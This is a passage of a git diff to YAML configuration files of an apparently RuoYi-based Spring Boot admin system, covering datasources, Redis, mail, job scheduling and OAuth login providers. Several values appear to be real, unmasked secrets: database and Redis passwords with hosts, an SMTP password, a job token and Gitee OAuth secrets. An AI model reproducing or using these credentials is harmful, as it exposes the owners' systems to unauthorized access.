1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=dingtalk - baidu: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=baidu - csdn: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=csdn - coding: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=coding - coding-group-name: xx - oschina: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=oschina - alipay_wallet: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet - alipay-public-key: MIIB**************DAQAB - wechat_open: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=wechat_open - wechat_mp: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=wechat_mp - wechat_enterprise: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise - agent-id: 1000002 - gitlab: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=gitlab +--- # 监控中心配置 +spring.boot.admin.client: + # 增加客户端开关 + enabled: true + url: http://localhost:9090 + instance: + service-host-type: IP + metadata: + username: ${spring.boot.admin.client.username} + userpassword: ${spring.boot.admin.client.password} + username: @monitor.username@ + password: @monitor.password@ + +--- # snail-job 配置 +snail-job: + enabled: false + # 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务 + group: "ruoyi_group" + # SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表 + token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT" + server: + host: 127.0.0.1 + port: 17888 + # 详见 script/sql/snail_job.sql `sj_namespace` 表 + namespace: ${spring.profiles.active} + # 随主应用端口飘逸 + port: 2${server.port} + # 客户端ip指定 + host: 127.0.0.1 + +--- # 数据源配置 +spring: + datasource: + type: com.zaxxer.hikari.HikariDataSource + # 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content + dynamic: + # 性能分析插件(有性能损耗 不建议生产环境使用) + p6spy: true + # 设置默认的数据源或者数据源组,默认值即为 master + primary: master + # 严格模式 匹配不到数据源则报错 + strict: true + datasource: + # 主库数据源 + master: + type: ${spring.datasource.type} + driverClassName: com.mysql.cj.jdbc.Driver + # jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562 + # rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题) + url: jdbc:mysql://192.168.1.203:3306/oademo?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&serverTimezone=GMT%2B8&autoReconnect=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true + username: oademo + password: 68i5XDFNXwWX2Fxd + +# url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true +# username: root +# password: root + + # 从库数据源 + slave: + lazy: false + type: ${spring.datasource.type} + driverClassName: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://jcs-mysql.52o.site:13306/erpdemo20260109?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true + username: erpdemo20260109 + password: s5y46y76P2S5753T + + hikari: + # 最大连接池数量 + maxPoolSize: 20 + # 最小空闲线程数量 + minIdle: 10 + # 配置获取连接等待超时的时间 + connectionTimeout: 30000 + # 校验超时时间 + validationTimeout: 5000 + # 空闲连接存活最大时间,默认10分钟 + idleTimeout: 600000 + # 此属性控制池中连接的最长生命周期,值0表示无限生命周期,默认30分钟 + maxLifetime: 1800000 + # 多久检查一次连接的活性 + keepaliveTime: 30000 + +--- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉) +spring.data: + redis: + # 地址 + host: jcs-mysql.52o.site + # 端口,默认为6379 + port: 26739 + # 数据库索引 + database: 1 + # redis 密码必须配置 + password: 3NpZYtRLr6EnfASr + # 连接超时时间 + timeout: 10s + # 是否开启ssl + ssl.enabled: false + +# redisson 配置 +redisson: + # redis key前缀 + keyPrefix: + # 线程池数量 + threads: 4 + # Netty线程池数量 + nettyThreads: 8 + # 单节点配置 + singleServerConfig: + # 客户端名称 + clientName: ${ruoyi.name} + # 最小空闲连接数 + connectionMinimumIdleSize: 8 + # 连接池大小 + connectionPoolSize: 32 + # 连接空闲超时,单位:毫秒 + idleConnectionTimeout: 10000 + # 命令等待超时,单位:毫秒 + timeout: 3000 + # 发布和订阅连接池大小 + subscriptionConnectionPoolSize: 50 + +--- # mail 邮件发送 +mail: + enabled: false + host: smtp.163.com + port: 25 + # 是否需要用户名密码验证 + auth: true + # 发送方,遵循RFC-822标准 + from: admin@163.com + # 用户名(注意:如果使用foxmail邮箱,此处user为qq号) + user: admin@163.com + # 密码(注意,某些邮箱需要为SMTP服务单独设置密码,详情查看相关帮助) + pass: LGj5ingctYT2SNJS + # 使用 STARTTLS安全连接,STARTTLS是对纯文本通信协议的扩展。 + starttlsEnable: false + # 使用SSL安全连接 + sslEnable: false + # SMTP超时时长,单位毫秒,缺省值不超时 + timeout: 0 + # Socket连接超时值,单位毫秒,缺省值不超时 + connectionTimeout: 0 + +--- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商 +# https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用 +sms: + # 配置源类型用于标定配置来源(interface,yaml) + config-type: yaml + # 用于标定yml中的配置是否开启短信拦截,接口配置不受此限制 + restricted: true + # 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效 + minute-max: 1 + # 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效 + account-max: 30 + # 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中 + blends: + # 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可 + # 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户 + config1: + # 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 + supplier: alibaba + # 有些称为accessKey有些称之为apiKey,也有称为sdkKey或者appId。 + access-key-id: 您的accessKey + # 称为accessSecret有些称之为apiSecret + access-key-secret: 您的accessKeySecret + signature: 您的短信签名 + sdk-app-id: 您的sdkAppId + config2: + # 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 + supplier: tencent + access-key-id: 您的accessKey + access-key-secret: 您的accessKeySecret + signature: 您的短信签名 + sdk-app-id: 您的sdkAppId + + +--- # 三方授权 +justauth: + # 前端外网访问地址 + address: http://localhost:80 + type: + maxkey: + # maxkey 服务器地址 + # 注意 如下均配置均不需要修改 maxkey 已经内置好了数据 + server-url: http://sso.maxkey.top + client-id: 876892492581044224 + client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8 + redirect-uri: ${justauth.address}/social-callback?source=maxkey + topiam: + # topiam 服务器地址 + server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol + client-id: 449c4*********937************759 + client-secret: ac7***********1e0************28d + redirect-uri: ${justauth.address}/social-callback?source=topiam + scopes: [openid, email, phone, profile] + qq: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=qq + union-id: false + weibo: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=weibo + gitee: + client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98 + client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac + redirect-uri: ${justauth.address}/social-callback?source=gitee + dingtalk: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=dingtalk + baidu: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=baidu + csdn: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=csdn + coding: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=coding + coding-group-name: xx + oschina: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=oschina + alipay_wallet: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet + alipay-public-key: MIIB**************DAQAB + wechat_open: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=wechat_open + wechat_mp: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=wechat_mp + wechat_enterprise: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise + agent-id: 1000002 + gitlab: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=gitlab diff --git a/ruoyi-admin/src/main/resources/application-prod.yml b/ruoyi-admin/src/main/resources/application-prod.yml index 1b1b098..9c44683 100644 --- a/ruoyi-admin/src/main/resources/application-prod.yml +++ b/ruoyi-admin/src/main/resources/application-prod.yml @@ -1,256 +1,256 @@ ---- # 临时文件存储位置 避免临时文件被系统清理报错 -spring.servlet.multipart.location: /ruoyi/server/temp - ---- # 监控中心配置 -spring.boot.admin.client: - # 增加客户端开关 - enabled: true - url: http://erp.52o.site:9090 - instance: - service-host-type: IP - metadata: - username: ${spring.boot.admin.client.username} - userpassword: ${spring.boot.admin.client.password} - username: @monitor.username@ - password: @monitor.password@ - ---- # snail-job 配置 -snail-job: - enabled: true - # 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务 - group: "ruoyi_group" - # SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表 - token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT" - server: - host: 127.0.0.1 - port: 17888 - # 详见 script/sql/snail_job.sql `sj_namespace` 表 - namespace: ${spring.profiles.active} - # 随主应用端口飘逸 - port: 2${server.port} - # 客户端ip指定 - host: 127.0.0.1 - ---- # 数据源配置 -spring: - datasource: - type: com.zaxxer.hikari.HikariDataSource - # 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content - dynamic: - # 性能分析插件(有性能损耗 不建议生产环境使用) - p6spy: false - # 设置默认的数据源或者数据源组,默认值即为 master - primary: master - # 严格模式 匹配不到数据源则报错 - strict: true - datasource: - # 主库数据源 - master: - type: ${spring.datasource.type} - driverClassName: com.mysql.cj.jdbc.Driver - # jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562 - # rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题) - url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true - username: sjzx0618 - password: 2b1%Hk3#1Uolol - -# url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true -# username: root -# password: root - - # 从库数据源 - slave: - lazy: false - type: ${spring.datasource.type} - driverClassName: com.mysql.cj.jdbc.Driver - url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true - username: sjzx0618 - password: 2b1%Hk3#1Uolol - -# url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true -# username: root -# password: root - hikari: - # 最大连接池数量 - maxPoolSize: 20 - # 最小空闲线程数量 - minIdle: 10 - # 配置获取连接等待超时的时间 - connectionTimeout: 30000 - # 校验超时时间 - validationTimeout: 5000 - # 空闲连接存活最大时间,默认10分钟 - idleTimeout: 600000 - # 此属性控制池中连接的最长生命周期,值0表示无限生命周期,默认30分钟 - maxLifetime: 1800000 - # 多久检查一次连接的活性 - keepaliveTime: 30000 - ---- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉) -spring.data: - redis: - # 地址 - host: sh-crs-2xoizlg8.sql.tencentcdb.com - # 端口,默认为6379 - port: 22002 - # 数据库索引 - database: 1 - # redis 密码必须配置 - password: Songhaihua999 - # 连接超时时间 - timeout: 10s - # 是否开启ssl - ssl.enabled: false - -# redisson 配置 -redisson: - # redis key前缀 - keyPrefix: - # 线程池数量 - threads: 16 - # Netty线程池数量 - nettyThreads: 32 - # 单节点配置 - singleServerConfig: - # 客户端名称 - clientName: ${ruoyi.name} - # 最小空闲连接数 - connectionMinimumIdleSize: 32 - # 连接池大小 - connectionPoolSize: 64 - # 连接空闲超时,单位:毫秒 - idleConnectionTimeout: 10000 - # 命令等待超时,单位:毫秒 - timeout: 3000 - # 发布和订阅连接池大小 - subscriptionConnectionPoolSize: 50 - ---- # mail 邮件发送 -mail: - enabled: false - host: smtp.163.com - port: 25 - # 是否需要用户名密码验证 - auth: true - # 发送方,遵循RFC-822标准 - from: admin@163.com - # 用户名(注意:如果使用foxmail邮箱,此处user为qq号) - user: admin@163.com - # 密码(注意,某些邮箱需要为SMTP服务单独设置密码,详情查看相关帮助) - pass: LGj5ingctYT2SNJS - # 使用 STARTTLS安全连接,STARTTLS是对纯文本通信协议的扩展。 - starttlsEnable: false - # 使用SSL安全连接 - sslEnable: false - # SMTP超时时长,单位毫秒,缺省值不超时 - timeout: 0 - # Socket连接超时值,单位毫秒,缺省值不超时 - connectionTimeout: 0 - ---- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商 -# https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用 -sms: - # 配置源类型用于标定配置来源(interface,yaml) - config-type: yaml - # 用于标定yml中的配置是否开启短信拦截,接口配置不受此限制 - restricted: true - # 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效 - minute-max: 1 - # 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效 - account-max: 30 - # 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中 - blends: - # 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可 - # 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户 - config1: - # 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 - supplier: alibaba - # 有些称为accessKey有些称之为apiKey,也有称为sdkKey或者appId。 - access-key-id: 您的accessKey - # 称为accessSecret有些称之为apiSecret - access-key-secret: 您的accessKeySecret - signature: 您的短信签名 - sdk-app-id: 您的sdkAppId - config2: - # 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 - supplier: tencent - access-key-id: 您的accessKey - access-key-secret: 您的accessKeySecret - signature: 您的短信签名 - sdk-app-id: 您的sdkAppId - ---- # 三方授权 -justauth: - # 前端外网访问地址 - address: http://localhost:80 - type: - maxkey: - # maxkey 服务器地址 - # 注意 如下均配置均不需要修改 maxkey 已经内置好了数据 - server-url: http://sso.maxkey.top - client-id: 876892492581044224 - client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8 - redirect-uri: ${justauth.address}/social-callback?source=maxkey - topiam: - # topiam 服务器地址 - server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol - client-id: 449c4*********937************759 - client-secret: ac7***********1e0************28d - redirect-uri: ${justauth.address}/social-callback?source=topiam - scopes: [ openid, email, phone, profile ] - qq: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=qq - union-id: false - weibo: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=weibo - gitee: - client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98 - client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac - redirect-uri: ${justauth.address}/social-callback?source=gitee - dingtalk: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=dingtalk - baidu: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=baidu - csdn: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=csdn - coding: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=coding - coding-group-name: xx - oschina: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=oschina - alipay_wallet: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet - alipay-public-key: MIIB**************DAQAB - wechat_open: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=wechat_open - wechat_mp: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=wechat_mp - wechat_enterprise: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise - agent-id: 1000002 - gitlab: - client-id: 10**********6 - client-secret: 1f7d08**********5b7**********29e - redirect-uri: ${justauth.address}/social-callback?source=gitlab +--- # 临时文件存储位置 避免临时文件被系统清理报错 +spring.servlet.multipart.location: /ruoyi/server/temp + +--- # 监控中心配置 +spring.boot.admin.client: + # 增加客户端开关 + enabled: true + url: http://erp.52o.site:9090 + instance: + service-host-type: IP + metadata: + username: ${spring.boot.admin.client.username} + userpassword: ${spring.boot.admin.client.password} + username: @monitor.username@ + password: @monitor.password@ + +--- # snail-job 配置 +snail-job: + enabled: false + # 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务 + group: "ruoyi_group" + # SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表 + token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT" + server: + host: 127.0.0.1 + port: 17888 + # 详见 script/sql/snail_job.sql `sj_namespace` 表 + namespace: ${spring.profiles.active} + # 随主应用端口飘逸 + port: 2${server.port} + # 客户端ip指定 + host: 127.0.0.1 + +--- # 数据源配置 +spring: + datasource: + type: com.zaxxer.hikari.HikariDataSource + # 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content + dynamic: + # 性能分析插件(有性能损耗 不建议生产环境使用) + p6spy: false + # 设置默认的数据源或者数据源组,默认值即为 master + primary: master + # 严格模式 匹配不到数据源则报错 + strict: true + datasource: + # 主库数据源 + master: + type: ${spring.datasource.type} + driverClassName: com.mysql.cj.jdbc.Driver + # jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562 + # rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题) + url: jdbc:mysql://123.60.57.176:3306/sjzxerp20250618?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true + username: sjzx0618 + password: 2b1%Hk3#1Uolol + +# url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true +# username: root +# password: root + + # 从库数据源 + slave: + lazy: false + type: ${spring.datasource.type} + driverClassName: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://jcs-mysql.52o.site:13306/erpdemo20260109?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true + username: erpdemo20260109 + password: s5y46y76P2S5753T + +# url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true +# username: root +# password: root + hikari: + # 最大连接池数量 + maxPoolSize: 20 + # 最小空闲线程数量 + minIdle: 10 + # 配置获取连接等待超时的时间 + connectionTimeout: 30000 + # 校验超时时间 + validationTimeout: 5000 + # 空闲连接存活最大时间,默认10分钟 + idleTimeout: 600000 + # 此属性控制池中连接的最长生命周期,值0表示无限生命周期,默认30分钟 + maxLifetime: 1800000 + # 多久检查一次连接的活性 + keepaliveTime: 30000 + +--- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉) +spring.data: + redis: + # 地址 + host: jcs-mysql.52o.site + # 端口,默认为6379 + port: 26739 + # 数据库索引 + database: 1 + # redis 密码必须配置 + password: 3NpZYtRLr6EnfASr + # 连接超时时间 + timeout: 10s + # 是否开启ssl + ssl.enabled: false + +# redisson 配置 +redisson: + # redis key前缀 + keyPrefix: + # 线程池数量 + threads: 16 + # Netty线程池数量 + nettyThreads: 32 + # 单节点配置 + singleServerConfig: + # 客户端名称 + clientName: ${ruoyi.name} + # 最小空闲连接数 + connectionMinimumIdleSize: 32 + # 连接池大小 + connectionPoolSize: 64 + # 连接空闲超时,单位:毫秒 + idleConnectionTimeout: 10000 + # 命令等待超时,单位:毫秒 + timeout: 3000 + # 发布和订阅连接池大小 + subscriptionConnectionPoolSize: 50 + +--- # mail 邮件发送 +mail: + enabled: false + host: smtp.163.com + port: 25 + # 是否需要用户名密码验证 + auth: true + # 发送方,遵循RFC-822标准 + from: admin@163.com + # 用户名(注意:如果使用foxmail邮箱,此处user为qq号) + user: admin@163.com + # 密码(注意,某些邮箱需要为SMTP服务单独设置密码,详情查看相关帮助) + pass: LGj5ingctYT2SNJS + # 使用 STARTTLS安全连接,STARTTLS是对纯文本通信协议的扩展。 + starttlsEnable: false + # 使用SSL安全连接 + sslEnable: false + # SMTP超时时长,单位毫秒,缺省值不超时 + timeout: 0 + # Socket连接超时值,单位毫秒,缺省值不超时 + connectionTimeout: 0 + +--- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商 +# https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用 +sms: + # 配置源类型用于标定配置来源(interface,yaml) + config-type: yaml + # 用于标定yml中的配置是否开启短信拦截,接口配置不受此限制 + restricted: true + # 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效 + minute-max: 1 + # 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效 + account-max: 30 + # 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中 + blends: + # 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可 + # 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户 + config1: + # 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 + supplier: alibaba + # 有些称为accessKey有些称之为apiKey,也有称为sdkKey或者appId。 + access-key-id: 您的accessKey + # 称为accessSecret有些称之为apiSecret + access-key-secret: 您的accessKeySecret + signature: 您的短信签名 + sdk-app-id: 您的sdkAppId + config2: + # 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 + supplier: tencent + access-key-id: 您的accessKey + access-key-secret: 您的accessKeySecret + signature: 您的短信签名 + sdk-app-id: 您的sdkAppId + +--- # 三方授权 +justauth: + # 前端外网访问地址 + address: http://localhost:80 + type: + maxkey: + # maxkey 服务器地址 + # 注意 如下均配置均不需要修改 maxkey 已经内置好了数据 + server-url: http://sso.maxkey.top + client-id: 876892492581044224 + client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8 + redirect-uri: ${justauth.address}/social-callback?source=maxkey + topiam: + # topiam 服务器地址 + server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol + client-id: 449c4*********937************759 + client-secret: ac7***********1e0************28d + redirect-uri: ${justauth.address}/social-callback?source=topiam + scopes: [ openid, email, phone, profile ] + qq: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=qq + union-id: false + weibo: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=weibo + gitee: + client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98 + client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac + redirect-uri: ${justauth.address}/social-callback?source=gitee + dingtalk: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=dingtalk + baidu: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=baidu + csdn: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=csdn + coding: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=coding + coding-group-name: xx + oschina: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=oschina + alipay_wallet: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet + alipay-public-key: MIIB**************DAQAB + wechat_open: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=wechat_open + wechat_mp: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=wechat_mp + wechat_enterprise: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise + agent-id: 1000002 + gitlab: + client-id: 10**********6 + client-secret: 1f7d08**********5b7**********29e + redirect-uri: ${justauth.address}/social-callback?source=gitlab diff --git a/ruoyi-admin/src/main/resources/application.yml b/ruoyi-admin/src/main/resources/application.yml index 09fd788..af84d68 100644 --- a/ruoyi-admin/src/main/resources/application.yml +++ b/ruoyi-admin/src/main/resources/application.yml @@ -1,303 +1,303 @@ -# 项目相关配置 -ruoyi: - # 名称 - name: XGT-ADMIN - # 版本 - version: ${revision} - # 版权年份 - copyrightYear: 2024 - -captcha: - enable: true - # 页面 <参数设置> 可开启关闭 验证码校验 - # 验证码类型 math 数组计算 char 字符验证 - type: MATH - # line 线段干扰 circle 圆圈干扰 shear 扭曲干扰 - category: CIRCLE - # 数字验证码位数 - numberLength: 1 - # 字符验证码长度 - charLength: 4 - -# 开发环境配置 -server: - # 服务器的HTTP端口,默认为8080 - port: 8088 - servlet: - # 应用的访问路径 - context-path: / - # undertow 配置 - undertow: - # HTTP post内容的最大大小。当值为-1时,默认值为大小是无限的 - max-http-post-size: -1 - # 以下的配置会影响buffer,这些buffer会用于服务器连接的IO操作,有点类似netty的池化内存管理 - # 每块buffer的空间大小,越小的空间被利用越充分 - buffer-size: 512 - # 是否分配的直接内存 - direct-buffers: true - threads: - # 设置IO线程数, 它主要执行非阻塞的任务,它们会负责多个连接, 默认设置每个CPU核心一个线程 - io: 8 - # 阻塞任务线程池, 当执行类似servlet请求阻塞操作, undertow会从这个线程池中取得线程,它的值设置取决于系统的负载 - worker: 256 - -# 日志配置 -logging: - level: - org.dromara: @logging.level@ - org.springframework: warn - org.mybatis.spring.mapper: error - org.apache.fury: warn - config: classpath:logback-plus.xml - -# 用户配置 -user: - password: - # 密码最大错误次数 - maxRetryCount: 5 - # 密码锁定时间(默认10分钟) - lockTime: 10 - -# Spring配置 -spring: - application: - name: ${ruoyi.name} - threads: - # 开启虚拟线程 仅jdk21可用 - virtual: - enabled: false - # 资源信息 - messages: - # 国际化资源文件路径 - basename: i18n/messages - profiles: - active: @profiles.active@ - # 文件上传 - servlet: - multipart: - # 单个文件大小 - max-file-size: 10MB - # 设置总上传的文件大小 - max-request-size: 20MB - 